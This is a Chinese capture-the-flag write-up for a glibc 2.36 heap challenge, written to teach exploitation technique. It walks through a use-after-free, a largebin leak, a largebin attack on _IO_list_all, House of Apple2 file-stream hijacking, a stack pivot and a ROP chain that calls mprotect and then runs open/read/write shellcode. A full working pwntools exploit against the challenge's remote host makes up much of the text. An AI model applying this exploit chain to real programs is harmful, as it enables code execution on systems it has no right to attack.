前言

阴间ctf的一道pwn题,好久没做pwn了复建一下

题目分析

glibc2.36 没有_free_hook 要么打envrion堆栈结合,要么打IO攻击

增删查改均有

add函数是calloc,而且只能申请largebin大小的堆块。

delete只能2次,view只能一次,但是view的时候不是printf或者puts而是write 32个字节

delete存在UAF

开启了沙箱,ban了execve,需要考虑orw

思考

只能申请largebin,那么利用tcache实现任意地址申请就不可能了,而且calloc会把申请到的空间全部置零,也就没办法任意地址读取。

而且view只能view一次,我们需要同时view出libc地址和heap地址。

largebin大小的堆块可以满足这个需求,对于一个largebin大小的堆块,第一次释放会释放到unsortedbin里面,这时候读取只能泄漏libc,但是我们申请一个比这个堆块更大的堆块,那么这个堆块就会被扔进largebin里面,此时就能泄漏出libc和heap地址。

注意到只能delete两次,largebin attack刚好满足这个需求,可以在只delete两次的情况下将某一个地址的数改写为我们可以控制的堆块地址。

因此可以在这个限制情况下使用largebin attack+house of apple2。

但是之后需要考虑orw。

我找了很多资料,setcontext中的gadget利用起来比较困难,但是可以使用栈迁移。

https://zikh26.github.io/posts/19609dd.html#%E6%A0%88%E8%BF%81%E7%A7%BB-amp-amp-rop

有这样一个gadget

.text:00000000001630AA 48 8B 6F 48                   mov     rbp, [rdi+48h]
.text:00000000001630AE 48 8B 45 18 mov rax, [rbp+18h]
.text:00000000001630B2 4C 8D 6D 10 lea r13, [rbp+10h]
.text:00000000001630B6 C7 45 10 00 00 00 00 mov dword ptr [rbp+10h], 0
.text:00000000001630BD 4C 89 EF mov rdi, r13
.text:00000000001630C0 FF 50 28 call qword ptr [rax+28h]

我们再找到leave;ret这样的gadget就可以实现栈迁移了。

但是调试之后发现栈迁移之后的栈上有一点限制。

可以使用这样的gadget:

0x0000000000033fb9 : add rsp, 0x18 ; ret
ROPgadget --binary ./libc.so.6 --only 'add|ret'|grep 'rsp'

这样我们就可以轻松实现orw了

exp

from pwncli import *

context(log_level='debug',arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

def pp64(*args):
payload=b''
for i, arg in enumerate(args):
payload+=p64(arg)
return payload
def dbg():
gdb.attach(p,'b* $rebase(0x189E)')
def cmd(c):
sla("choice: \n",str(c))
def add(idx,size,content='a'):
cmd(1)
sla("=>\n",str(idx))
sla("=>\n",str(size))
sa("=>\n",content)
def delete(idx):
cmd(2)
sla("=>\n",str(idx))
def edit(idx,content):
cmd(3)
sla("=>\n",str(idx))
sa("=>\n",content)
def show(idx):
cmd(4)
sla("=>\n",str(idx))
def exit1():
cmd(5)

#p=process("./pwn")
#nc nc1.ctfplus.cn 22988
p=remote("nc1.ctfplus.cn",22988)
libc=ELF('./libc.so.6')
sla("你确定要开始这场禁忌仪式吗?(Y/N)","Y")
sla("请献上你的真名:","tgrddf55")
add(0,0x450)
add(1,0x438) # 分割
add(2,0x440)
add(3,0x430) # 分割
#dbg()
delete(0) # 0-> unsortedbin
add(4,0x460) # 0->largebin
show(0)
ru("\x1B[36m[通灵开始] 你看到了零星的记忆碎片:\x1B[0m\n=>\n")
libc_base=uu64(p.recv(6))-0x7ac6b35f6cc0+0x7ac6b3400000-0x400
p.recv(10)
heap_base=uu64(p.recv(6))-0x290
environ=libc_base+libc.sym['__environ']
io_list_all=libc_base+libc.sym["_IO_list_all"]
leak("libc:",libc_base)
leak("heap:",heap_base)
target=io_list_all-0x20
largebin=libc_base+0x7ac6b35f6cc0-0x7ac6b3400000+0x400
edit(0,pp64(largebin,largebin,heap_base+0x290,target))
delete(2)
add(5,0x460)

'''
.text:00000000001630AA 48 8B 6F 48 mov rbp, [rdi+48h]
.text:00000000001630AE 48 8B 45 18 mov rax, [rbp+18h]
.text:00000000001630B2 4C 8D 6D 10 lea r13, [rbp+10h]
.text:00000000001630B6 C7 45 10 00 00 00 00 mov dword ptr [rbp+10h], 0
.text:00000000001630BD 4C 89 EF mov rdi, r13
.text:00000000001630C0 FF 50 28 call qword ptr [rax+28h]
'''
gadget1=libc_base+0x1630AA
leave_ret=libc_base+0x50877
add_esp_18=libc_base+0x33fb9

f=IO_FILE_plus_struct()
_IO_wfile_jumps=libc.symbols["_IO_wfile_jumps"]+libc_base
f.vtable=_IO_wfile_jumps
heap_2=heap_base+0xb30
heap_3=heap_base+0xf80
heap_4=heap_base+0x13c0
rbp=heap_4+0x100
f._mode=0
f._wide_data=heap_2 #其中heap_2即为将要覆盖成IO结构体的堆块,也就是把f._wide_data与f相同
f._IO_read_base=0 #0x18
f._IO_write_end=0 #0x30
f._IO_write_ptr=1
f._IO_save_base=rbp
f._lock=io_list_all
wide_vtable_addr=(heap_2+0xd8+8+8)-0x68
#print(bytes(f))
f=bytes(f)[16:]
f+=p64(wide_vtable_addr)
#system_addr=libc_base+libc.sym["system"]
f+=p64(gadget1)
edit(2,f) #劫持IO链,实现IO攻击

mprotect=libc_base+libc.sym['mprotect']
read=libc_base+libc.sym['read']
addr_mpro=libc_base+0x199000
pop_rdi=libc_base+0x23b65
pop_rsi=libc_base+0x251be
pop_rdx=libc_base+0x166262
rop_chain=pp64(pop_rdi,addr_mpro,pop_rsi,0x1000,pop_rdx,7,mprotect)
rop_chain+=pp64(pop_rdi,0,pop_rsi,addr_mpro+0x200,pop_rdx,0x200,read,addr_mpro+0x200)

edit(4,b'a'*0xf8+pp64(add_esp_18,0,rbp-0x8,leave_ret)+rop_chain)

shellcode=''
shellcode+=shellcraft.open('./flag',0,0)
shellcode+=shellcraft.read('rax',addr_mpro+0x300,0x100)
shellcode+=shellcraft.write(1,addr_mpro+0x300,'rax')# 1 stdout 2 stderr
shellcode=asm(shellcode)

exit1()
sl(shellcode)
ti()